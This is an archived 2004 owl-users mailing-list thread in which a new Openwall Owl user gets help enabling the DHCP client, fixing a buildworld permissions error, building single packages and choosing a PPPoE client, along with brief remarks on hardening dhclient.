Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 29308 invoked from network); 3 Feb 2004 04:52:49 -0000
Date: Tue, 3 Feb 2004 07:41:49 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: dhcp client
Message-ID: <20040203044149.GA21625@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-371-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.4 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

On Tue, Feb 03, 2004 at 05:35:37AM +0100, Berend-Jan Wever wrote:
> I've just installed Owl on one of my computers. My ISP requires my to use
> DHCP and PPPOE. Which DHCP client would be best suited to run with owl ?

In native/Owl/packages/dhcp/dhcp.spec, you can set BUILD_DHCP_CLIENT to 1.
Then "make".

This is disabled by default and not officially supported because this TODO
item has not been completed (in fact, we haven't even started at it):

[PRIORITY: low]
[ASSIGNED: schmidt@, solar@]
The DHCP client should be modified to run as a dedicated pseudo-user
and in a chroot jail.  This requires privilege separation within the
client (not easy).

> PS. Solar: it took me about a year, but I finally installed owl, so your
> dutch mirror is not that far from being online.

Good.

Meanwhile, the German and Russian ones should be fast enough for most
of Europe.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-372-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i13Bnvv14916
	for <jwa@private>; Tue, 3 Feb 2004 03:49:57 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 9FC2070
	for <jwa@private>; Tue,  3 Feb 2004 03:49:54 -0800 (PST)
Received: (qmail 77 invoked by uid 1011); 3 Feb 2004 11:49:20 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 69 invoked from network); 3 Feb 2004 11:49:19 -0000
Message-ID: <000d01c3ea4c$66f93cd0$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private>
Subject: make buildworld error
Date: Tue, 3 Feb 2004 12:53:55 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owl-users-return-372-jwa=jammed.com@private
X-Spam-Status: No, hits=-13.4 required=5.0
	tests=BAYES_20,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Maybe I have something under the wrong owner ?

build@babydoos:/usr/src/world$ ls -lA
total 24
lrwxrwxrwx    1 build    sources        39 Feb  3 16:50 .rpmmacros ->
native/Owl-1_1-release/build/.rpmmacros
lrwxrwxrwx    1 build    sources        35 Feb  3 16:50 .rpmrc ->
native/Owl-1_1-release/build/.rpmrc
lrwxrwxrwx    1 build    sources        37 Feb  3 10:22 Makefile ->
native/Owl-1_1-release/build/Makefile
drwx------    2 build    sources      8192 Feb  3 16:44 RPMS
drwxr-x---    2 build    sources      4096 Feb  3 16:44 archives
lrwxrwxrwx    1 build    sources        44 Feb  3 16:44 buildworld.conf ->
native/Owl-1_1-release/build/buildworld.conf
lrwxrwxrwx    1 build    sources        46 Feb  3 16:44 installorder.conf ->
native/Owl-1_1-release/build/installorder.conf
lrwxrwxrwx    1 build    sources        46 Feb  3 16:44 installworld.conf ->
native/Owl-1_1-release/build/installworld.conf
drwxr-x---    2 build    sources      4096 Feb  3 16:44 logs
drwx------    3 build    sources      4096 Feb  3 10:22 native
drwx------    3 build    sources      4096 Feb  3 10:25 sources

build@babydoos:/usr/src/world$ make clean && make buildworld
test -d RPMS && rm -f RPMS/* || :
test -d SRPMS && rm -f SRPMS/* || :
test -d archives && rm -f archives/* || :
test -d native/Owl-1_1-release/build || make checkout
ln -sf native/Owl-1_1-release/build/.rpm* .
ln -s native/Owl-1_1-release/build/*.conf . 2> /dev/null || :
BRANCH=Owl-1_1-release PACKAGE= native/Owl-1_1-release/build/buildworld.sh
16:50:02: Removing stale temporary files
hostname: Host name lookup failure
16:50:02: Sanity check
16:50:02: Unreadable kernel includes
make: *** [buildworld] Error 1



-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 8.0 - not licensed for commercial use: www.pgp.com
Comment: Berend-Jan Wever - skylined@private

mQGiBD//MyARBADnHLyg2lUBEddhdWAVBxovYU5PetLk2y3HZKguauHS6tT7sNPb
WR4JuRZ5G9uTkgS/JlVl8jhdvAfOhAsXnlSwfBljPSt7ylHkmG/0TUQV14+OVIks
joq80V2yGNT8oRGC/HMk6d20THXFsqiE8pLF5OVdcF0PpTP14OeavvWp2QCg/2Yb
nk1i1VSjOCmPudJ+7klQbI0D/3pRkXQofpYslG7hBaEndDOVFRo9rgF5D4cbmIo0
eH9LEtzHiB+Q1wgJ2CUxWQeYtqCE5upBOl5vwnlY86vH6QdxZ7JdOhyWU2bgbb+D
xZrWgE1LibVdqC6ow2NgmCTQhvnBVpuvrpfe50iohujCzzI4n8Vwolg4jQtCmsU/
2glaA/9vM9T09rlq0CMQnwI3o1WPuyaVd2RrODo8AScKmYkukiuOCF7HSB//hGOX
1HXkM+yRi7ZtGVuX2sY2wkjiZa1OUuL28I5FInJQxoS8FuMtlEY2vqVHcw01KL3O
NQPvVMNoieKM3hrLGUNTgvsiGEFZYzp908bvicGh3c1yrbo6XLQrQmVyZW5kLUph
biBXZXZlciA8c2t5bGluZWRAZWR1cC50dWRlbGZ0Lm5sPokAWAQQEQIAGAUCP/8z
IAgLCQgHAwIBCgIZAQUbAwAAAAAKCRDnF8rcdEbf3T07AKDQp2C/tLe5X8v1iUBa
TlEogOUvrQCg7SHA3QPk2f/6wnl9sqhADvXdS1W5Ag0EP/8zIBAIAPZCV7cIfwgX
cqK61qlC8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyD
vWXpF9Sh01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5
u/2RXscBqtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98
iLMcfFstjvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlA
GBGNfISnCnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqr
ol7DVekyCzsAAgIIAPBwtE5Q5qtEuK/1a7rNrHvRTpgTJpw9P6B61TfGACiucXne
Xo28DbabGuD8yfiNaXTHKt9NAtfHxVTL1hFUIfK5dZ9o6FG4pJFZtXfjmGqoac6A
G2zBNWNAr26OqoEKrFohJyJ8rcIY+FKrH5axaBc9II5cxcQebWoFXU/tGq+4yVaZ
4669mfHBSfiThe4N1hlcrlcehxUe3QFZYmQHYClXpldY0t3/N71k5jd6a1NZ5j9Z
kfTBzXTtbKERt1mM9gptU4LjGJQFoNBw6dRj+IQc4wJG6nAmKaQpOwMdPnii8Kz1
i+MRkW92vt8bfcXqA38XcASI5iqKmQCSSYoBW0qJAEwEGBECAAwFAj//MyAFGwwA
AAAACgkQ5xfK3HRG391CBgCffzGf174a1bKMu4EbOFfrD9eyj90An14tyn0tPGg5
IlutbA2EL52jJYz2
=OpSl
-----END PGP PUBLIC KEY BLOCK-----
----- Original Message ----- 
From: "Solar Designer" <solar@private>
To: <owl-users@private>
Sent: Tuesday, February 03, 2004 5:41
Subject: Re: dhcp client


> Hi,
>
> On Tue, Feb 03, 2004 at 05:35:37AM +0100, Berend-Jan Wever wrote:
> > I've just installed Owl on one of my computers. My ISP requires my to
use
> > DHCP and PPPOE. Which DHCP client would be best suited to run with owl ?
>
> In native/Owl/packages/dhcp/dhcp.spec, you can set BUILD_DHCP_CLIENT to 1.
> Then "make".
>
> This is disabled by default and not officially supported because this TODO
> item has not been completed (in fact, we haven't even started at it):
>
> [PRIORITY: low]
> [ASSIGNED: schmidt@, solar@]
> The DHCP client should be modified to run as a dedicated pseudo-user
> and in a chroot jail.  This requires privilege separation within the
> client (not easy).
>
> > PS. Solar: it took me about a year, but I finally installed owl, so your
> > dutch mirror is not that far from being online.
>
> Good.
>
> Meanwhile, the German and Russian ones should be fast enough for most
> of Europe.
>
> -- 
> Alexander Peslyak <solar@private>
> GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D
3598
> http://www.openwall.com - bringing security into open computing
environments
Return-Path: <owl-users-return-373-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i13BuFv15324
	for <jwa@private>; Tue, 3 Feb 2004 03:56:16 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 0DD5370
	for <jwa@private>; Tue,  3 Feb 2004 03:56:13 -0800 (PST)
Received: (qmail 1575 invoked by uid 1011); 3 Feb 2004 11:55:46 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 1566 invoked from network); 3 Feb 2004 11:55:45 -0000
X-Qmail-Scanner-Mail-From: simonb@private via c0ke
X-Qmail-Scanner: 1.20 (Clear:RC:1(127.0.0.1):. Processed in 0.158166 secs)
Date: Tue, 3 Feb 2004 11:55:42 +0000 (GMT)
From: Simon B <simonb@private>
To: owl-users@private
Subject: Re: make buildworld error
In-Reply-To: <000d01c3ea4c$66f93cd0$0100a8c0@grotedoos>
Message-ID: <kaizo-sendmail-010402031154360.10989@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private>
 <000d01c3ea4c$66f93cd0$0100a8c0@grotedoos>
X-include: <stupid/disclaimer.h>
X-Copyright: (c)2003 Simon B.  Forwarding *not* allowed without prior permision
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-373-jwa=jammed.com@private
X-Spam-Status: No, hits=-29.9 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      REFERENCES,REPLY_WITH_QUOTES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Tue, 3 Feb 2004, Berend-Jan Wever wrote:

BW! Maybe I have something under the wrong owner ?
BW!
BW! 16:50:02: Sanity check
BW! 16:50:02: Unreadable kernel includes
BW! make: *** [buildworld] Error 1

If you examine the scripts, it looks for file != 0004 I think...

find /usr/src/linux -type f | xargs chmod o+r

Should fix the problem IIRC...

S.

-- 
-----------------------------------------------------------------------------
Simon B.              http://kaizo.org/simonb                  spb!kaizo.org
        Linux is only free if your time has no value...(jwz.org)
-----------------------------------------------------------------------------
Return-Path: <owl-users-return-374-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i13CSav17022
	for <jwa@private>; Tue, 3 Feb 2004 04:28:36 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 3A7A3EE
	for <jwa@private>; Tue,  3 Feb 2004 04:28:26 -0800 (PST)
Received: (qmail 9244 invoked by uid 1011); 3 Feb 2004 12:27:59 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 9236 invoked from network); 3 Feb 2004 12:27:59 -0000
Message-ID: <000901c3ea51$cd76ee80$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <000d01c3ea4c$66f93cd0$0100a8c0@grotedoos> <kaizo-sendmail-010402031154360.10989@private>
Subject: Re: make buildworld error
Date: Tue, 3 Feb 2004 13:32:35 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owl-users-return-374-jwa=jammed.com@private
X-Spam-Status: No, hits=-13.4 required=5.0
	tests=BAYES_20,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

I fixed it, the files under /usr/include/linux didn't have +r nor did the
directories have +x.

Thanks!
SkyLined


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 8.0 - not licensed for commercial use: www.pgp.com
Comment: Berend-Jan Wever - skylined@private

mQGiBD//MyARBADnHLyg2lUBEddhdWAVBxovYU5PetLk2y3HZKguauHS6tT7sNPb
WR4JuRZ5G9uTkgS/JlVl8jhdvAfOhAsXnlSwfBljPSt7ylHkmG/0TUQV14+OVIks
joq80V2yGNT8oRGC/HMk6d20THXFsqiE8pLF5OVdcF0PpTP14OeavvWp2QCg/2Yb
nk1i1VSjOCmPudJ+7klQbI0D/3pRkXQofpYslG7hBaEndDOVFRo9rgF5D4cbmIo0
eH9LEtzHiB+Q1wgJ2CUxWQeYtqCE5upBOl5vwnlY86vH6QdxZ7JdOhyWU2bgbb+D
xZrWgE1LibVdqC6ow2NgmCTQhvnBVpuvrpfe50iohujCzzI4n8Vwolg4jQtCmsU/
2glaA/9vM9T09rlq0CMQnwI3o1WPuyaVd2RrODo8AScKmYkukiuOCF7HSB//hGOX
1HXkM+yRi7ZtGVuX2sY2wkjiZa1OUuL28I5FInJQxoS8FuMtlEY2vqVHcw01KL3O
NQPvVMNoieKM3hrLGUNTgvsiGEFZYzp908bvicGh3c1yrbo6XLQrQmVyZW5kLUph
biBXZXZlciA8c2t5bGluZWRAZWR1cC50dWRlbGZ0Lm5sPokAWAQQEQIAGAUCP/8z
IAgLCQgHAwIBCgIZAQUbAwAAAAAKCRDnF8rcdEbf3T07AKDQp2C/tLe5X8v1iUBa
TlEogOUvrQCg7SHA3QPk2f/6wnl9sqhADvXdS1W5Ag0EP/8zIBAIAPZCV7cIfwgX
cqK61qlC8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyD
vWXpF9Sh01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5
u/2RXscBqtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98
iLMcfFstjvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlA
GBGNfISnCnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqr
ol7DVekyCzsAAgIIAPBwtE5Q5qtEuK/1a7rNrHvRTpgTJpw9P6B61TfGACiucXne
Xo28DbabGuD8yfiNaXTHKt9NAtfHxVTL1hFUIfK5dZ9o6FG4pJFZtXfjmGqoac6A
G2zBNWNAr26OqoEKrFohJyJ8rcIY+FKrH5axaBc9II5cxcQebWoFXU/tGq+4yVaZ
4669mfHBSfiThe4N1hlcrlcehxUe3QFZYmQHYClXpldY0t3/N71k5jd6a1NZ5j9Z
kfTBzXTtbKERt1mM9gptU4LjGJQFoNBw6dRj+IQc4wJG6nAmKaQpOwMdPnii8Kz1
i+MRkW92vt8bfcXqA38XcASI5iqKmQCSSYoBW0qJAEwEGBECAAwFAj//MyAFGwwA
AAAACgkQ5xfK3HRG391CBgCffzGf174a1bKMu4EbOFfrD9eyj90An14tyn0tPGg5
IlutbA2EL52jJYz2
=OpSl
-----END PGP PUBLIC KEY BLOCK-----
----- Original Message ----- 
From: "Simon B" <simonb@private>
To: <owl-users@private>
Sent: Tuesday, February 03, 2004 12:55
Subject: Re: make buildworld error


> On Tue, 3 Feb 2004, Berend-Jan Wever wrote:
>
> BW! Maybe I have something under the wrong owner ?
> BW!
> BW! 16:50:02: Sanity check
> BW! 16:50:02: Unreadable kernel includes
> BW! make: *** [buildworld] Error 1
>
> If you examine the scripts, it looks for file != 0004 I think...
>
> find /usr/src/linux -type f | xargs chmod o+r
>
> Should fix the problem IIRC...
>
> S.
>
> -- 
> --------------------------------------------------------------------------
---
> Simon B.              http://kaizo.org/simonb
spb!kaizo.org
>         Linux is only free if your time has no value...(jwz.org)
> --------------------------------------------------------------------------
---
Return-Path: <owl-users-return-375-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i14EFjv04205
	for <jwa@private>; Wed, 4 Feb 2004 06:15:45 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id D6E7A70
	for <jwa@private>; Wed,  4 Feb 2004 06:15:37 -0800 (PST)
Received: (qmail 20624 invoked by uid 1011); 4 Feb 2004 14:14:47 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 20616 invoked from network); 4 Feb 2004 14:14:46 -0000
Message-ID: <000901c3eb29$e748a4b0$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private>
Subject: Re: dhcp client
Date: Wed, 4 Feb 2004 15:19:29 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owl-users-return-375-jwa=jammed.com@private
X-Spam-Status: No, hits=-10.3 required=5.0
	tests=KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

> In native/Owl/packages/dhcp/dhcp.spec, you can set BUILD_DHCP_CLIENT to 1.
> Then "make".
- Is that "make buildworld" or can I simply make the dhclient by itself ?
  (if so, what's the command to build one single package like dhcp ?)
- Does "make buildworld" put the built binaries in /bin, /sbin, ... ?
  or does it create rpms to be installed with "make installworld" ?
  or are they put in one dir, to be copied to more usefull dirs manually ?
  (I couldn't really find that out by looking at the Makefile and scripts.)

> This is disabled by default and not officially supported because this TODO
> item has not been completed (in fact, we haven't even started at it):

Well, unfortunately my ISP requires me to use DHCP to get an IP address on
the local network. Also, I have to install PPPOE to reach the internet.
Which brings me to my next question: Which PPPOE client would you recommend
?

Cheers and thanks in advance for answering all my n00b questions ;)

SkyLined
Return-Path: <owl-users-return-376-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i14ENBv04570
	for <jwa@private>; Wed, 4 Feb 2004 06:23:11 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 33E2870
	for <jwa@private>; Wed,  4 Feb 2004 06:23:09 -0800 (PST)
Received: (qmail 23312 invoked by uid 1011); 4 Feb 2004 14:22:24 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 23288 invoked from network); 4 Feb 2004 14:22:23 -0000
X-Qmail-Scanner-Mail-From: simonb@private via c0ke
X-Qmail-Scanner: 1.20st+kaizo-spb (Clear:RC:1(127.0.0.1):. Processed in 0.034952 secs)
Date: Wed, 4 Feb 2004 14:22:20 +0000 (GMT)
From: Simon B <simonb@private>
To: owl-users@private
Subject: Re: dhcp client
In-Reply-To: <000901c3eb29$e748a4b0$0100a8c0@grotedoos>
Message-ID: <kaizo-sendmail-010402041419070.15055@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private>
 <000901c3eb29$e748a4b0$0100a8c0@grotedoos>
X-include: <stupid/disclaimer.h>
X-Copyright: (c)2003 Simon B.  Forwarding *not* allowed without prior permision
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-376-jwa=jammed.com@private
X-Spam-Status: No, hits=-29.9 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      REFERENCES,REPLY_WITH_QUOTES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Wed, 4 Feb 2004, Berend-Jan Wever wrote:

BW! > In native/Owl/packages/dhcp/dhcp.spec, you can set BUILD_DHCP_CLIENT to 1.
BW! > Then "make".
BW! - Is that "make buildworld" or can I simply make the dhclient by itself ?
BW!   (if so, what's the command to build one single package like dhcp ?)

To build only one package, use

make buildworld PACKAGE=dhcp

for example...

BW! - Does "make buildworld" put the built binaries in /bin, /sbin, ... ?
BW!   or does it create rpms to be installed with "make installworld" ?
BW!   or are they put in one dir, to be copied to more usefull dirs manually ?
BW!   (I couldn't really find that out by looking at the Makefile and scripts.)

No, as root you need to run make installworld.
To just install one packages (like dhcp*) run:

# rpm -ivh RPMS/dhcp*

from /usr/src/world

BW! > This is disabled by default and not officially supported because this TODO
BW! > item has not been completed (in fact, we haven't even started at it):
BW!
BW! Well, unfortunately my ISP requires me to use DHCP to get an IP address on
BW! the local network. Also, I have to install PPPOE to reach the internet.
BW! Which brings me to my next question: Which PPPOE client would you recommend
BW! ?

Don't know of any, can't make any recommendations personally.

One other tip I will give ; make your dhcp client exit after obtaining
a lease ; otherwise it may be possible to send bad data to your client
and make it crash or worse...

However this may break the way your ISP re-leases IP addresses, but I
know which problem I'd rather be fixing ;-))

Regards,

Simon.

BW!
BW! Cheers and thanks in advance for answering all my n00b questions ;)
BW!
BW! SkyLined
BW!
BW!

-- 
-----------------------------------------------------------------------------
Simon B.              http://kaizo.org/simonb                  spb!kaizo.org
        Linux is only free if your time has no value...(jwz.org)
-----------------------------------------------------------------------------
Return-Path: <owl-users-return-377-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i14EpTv05897
	for <jwa@private>; Wed, 4 Feb 2004 06:51:29 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 1FE5E70
	for <jwa@private>; Wed,  4 Feb 2004 06:51:16 -0800 (PST)
Received: (qmail 30647 invoked by uid 1011); 4 Feb 2004 14:50:50 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 30638 invoked from network); 4 Feb 2004 14:50:50 -0000
Message-Id: <s020b409.018@private>
X-Mailer: Novell GroupWise Internet Agent 6.5.1 
Date: Wed, 04 Feb 2004 08:57:11 -0600
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: dhcp client
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owl-users-return-377-jwa=jammed.com@private
X-Spam-Status: No, hits=-3.7 required=5.0
	tests=BAYES_20,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)


Hi,

>Don't know of any, can't make any recommendations personally.

Here is a pretty popular pppoe client:

http://www.roaringpenguin.com/products/rp-pppoe/index.php

>One other tip I will give ; make your dhcp client exit after
obtaining
>a lease ; otherwise it may be possible to send bad data to your
client
>and make it crash or worse...

We have a problem where one of our ISPs requires us to make a DHCP
request every 6 hours or they cut off our connection.  Even though we
pay for a "business class" connection and static IP, we have to make a
DHCP request at regular intervals or their firewall blocks our traffic.
:-(  It's a terrible setup, but it's the only broadband provider in the
area.

Steve Bremer
NEBCO, Inc.
System & Security Administrator
Return-Path: <owl-users-return-378-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i14GQ3v10470
	for <jwa@private>; Wed, 4 Feb 2004 08:26:03 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id BFED670
	for <jwa@private>; Wed,  4 Feb 2004 08:26:00 -0800 (PST)
Received: (qmail 28131 invoked by uid 1011); 4 Feb 2004 16:25:31 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 20955 invoked from network); 4 Feb 2004 16:12:48 -0000
Message-ID: <001401c3eb3a$64d6b8d0$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <s020b409.018@private>
Subject: Re: dhcp client
Date: Wed, 4 Feb 2004 17:17:32 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owl-users-return-378-jwa=jammed.com@private
X-Spam-Status: No, hits=-14.0 required=5.0
	tests=BAYES_20,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,
	      QUOTE_TWICE_1,REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

You could still put dhclient on a cron job to be run once every 5 hours and
5 minutes ?

But, if someone wanted to exploit a dhclient bug, he'll probably won't have
a problem with waiting 6 hours for dhclient to run...

Cheers,

SkyLined

PS. I modified my "/bin/sh" to only run when the user executing it doesn't
have "/bin/false" as shell in "/etc/passwd". It's a lame security trick
that's easily bypassed, but it does keep the script kiddies out. Maybe it's
something Owl could use ?

----- Original Message ----- 
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Sent: Wednesday, February 04, 2004 15:57
Subject: Re: dhcp client


>
> Hi,
>
> >Don't know of any, can't make any recommendations personally.
>
> Here is a pretty popular pppoe client:
>
> http://www.roaringpenguin.com/products/rp-pppoe/index.php
>
> >One other tip I will give ; make your dhcp client exit after
> obtaining
> >a lease ; otherwise it may be possible to send bad data to your
> client
> >and make it crash or worse...
>
> We have a problem where one of our ISPs requires us to make a DHCP
> request every 6 hours or they cut off our connection.  Even though we
> pay for a "business class" connection and static IP, we have to make a
> DHCP request at regular intervals or their firewall blocks our traffic.
> :-(  It's a terrible setup, but it's the only broadband provider in the
> area.
>
> Steve Bremer
> NEBCO, Inc.
> System & Security Administrator
>
Return-Path: <owl-users-return-379-jwa=jammed.com@private>
